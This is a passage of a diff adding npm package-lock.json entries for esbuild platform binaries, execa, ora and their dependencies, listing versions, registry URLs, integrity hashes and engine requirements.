"node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@sec-ant/readable-stream": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@sec-ant/readable-stream/-/readable-stream-0.4.1.tgz", + "integrity": "sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg==", + "license": "MIT" + }, + "node_modules/@sindresorhus/merge-streams": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-4.0.0.tgz", + "integrity": "sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "license": "MIT", + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/cli-cursor": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-5.0.0.tgz", + "integrity": "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==", + "license": "MIT", + "dependencies": { + "restore-cursor": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-spinners": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz", + "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/emoji-regex": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz", + "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==", + "license": "MIT" + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/execa": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-9.6.1.tgz", + "integrity": "sha512-9Be3ZoN4LmYR90tUoVu2te2BsbzHfhJyfEiAVfz7N5/zv+jduIfLrV2xdQXOHbaD6KgpGdO9PRPM1Y4Q9QkPkA==", + "license": "MIT", + "dependencies": { + "@sindresorhus/merge-streams": "^4.0.0", + "cross-spawn": "^7.0.6", + "figures": "^6.1.0", + "get-stream": "^9.0.0", + "human-signals": "^8.0.1", + "is-plain-obj": "^4.1.0", + "is-stream": "^4.0.1", + "npm-run-path": "^6.0.0", + "pretty-ms": "^9.2.0", + "signal-exit": "^4.1.0", + "strip-final-newline": "^4.0.0", + "yoctocolors": "^2.1.1" + }, + "engines": { + "node": "^18.19.0 || >=20.5.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/figures": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-6.1.0.tgz", + "integrity": "sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg==", + "license": "MIT", + "dependencies": { + "is-unicode-supported": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-east-asian-width": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.6.0.tgz", + "integrity": "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-stream": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-9.0.1.tgz", + "integrity": "sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA==", + "license": "MIT", + "dependencies": { + "@sec-ant/readable-stream": "^0.4.1", + "is-stream": "^4.0.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/human-signals": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-8.0.1.tgz", + "integrity": "sha512-eKCa6bwnJhvxj14kZk5NCPc6Hb6BdsU9DZcOnmQKSnO1VKrfV0zCvtttPZUsBvjmNDn8rpcJfpwSYnHBjc95MQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/is-interactive": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-2.0.0.tgz", + "integrity": "sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-stream": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-4.0.1.tgz", + "integrity": "sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-unicode-supported": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-2.1.0.tgz", + "integrity": "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/log-symbols": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-6.0.0.tgz", + "integrity": "sha512-i24m8rpwhmPIS4zscNzK6MSEhk0DUWa/8iYQWxhffV8jkI4Phvs3F+quL5xvS0gdQR0FyTCMMH33Y78dDTzzIw==", + "license": "MIT", + "dependencies": { + "chalk": "^5.3.0", + "is-unicode-supported": "^1.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/is-unicode-supported": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-1.3.0.tgz", + "integrity": "sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mimic-function": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz", + "integrity": "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-6.0.0.tgz", + "integrity": "sha512-9qny7Z9DsQU8Ou39ERsPU4OZQlSTP47ShQzuKZ6PRXpYLtIFgl/DEBYEXKlvcEa+9tHVcK8CF81Y2V72qaZhWA==", + "license": "MIT", + "dependencies": { + "path-key": "^4.0.0", + "unicorn-magic": "^0.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz", + "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/onetime": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", + "integrity": "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==", + "license": "MIT", + "dependencies": { + "mimic-function": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/ora/-/ora-8.2.0.tgz", + "integrity": "sha512-weP+BZ8MVNnlCm8c0Qdc1WSWq4Qn7I+9CJGm7Qali6g44e/PUzbjNqJX5NJ9ljlNMosfJvg1fKEGILklK9cwnw==", + "license": "MIT", + "dependencies": { + "chalk": "^5.3.0", + "cli-cursor": "^5.0.0", + "cli-spinners": "^2.9.2", + "is-interactive": "^2.0.0", + "is-unicode-supported": "^2.0.0", + "log-symbols": "^6.0.0", + "stdin-discarder": "^0.2.2", + "string-width": "^7.2.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-ms": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-4.0.0.tgz", + "integrity": "sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/pretty-ms": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/pretty-ms/-/pretty-ms-9.3.0.tgz", + "integrity": "sha512-gjVS5hOP+M3wMm5nmNOucbIrqudzs9v/57bWRHQWLYklXqoXKrVfYW2W9+glfGsqtPgpiz5WwyEEB+ksXIx3gQ==", + "license": "MIT", + "dependencies": { + "parse-ms": "^4.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/restore-cursor": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-5.1.0.tgz", + "integrity": "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==", + "license": "MIT", + "dependencies": { + "onetime": "^7.0.0", + "signal-exit": "^4.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/stdin-discarder": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.2.2.tgz", + "integrity": "sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-final-newline": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-4.0.0.tgz", + "integrity": "sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/unicorn-magic": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz", + "integrity": "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + 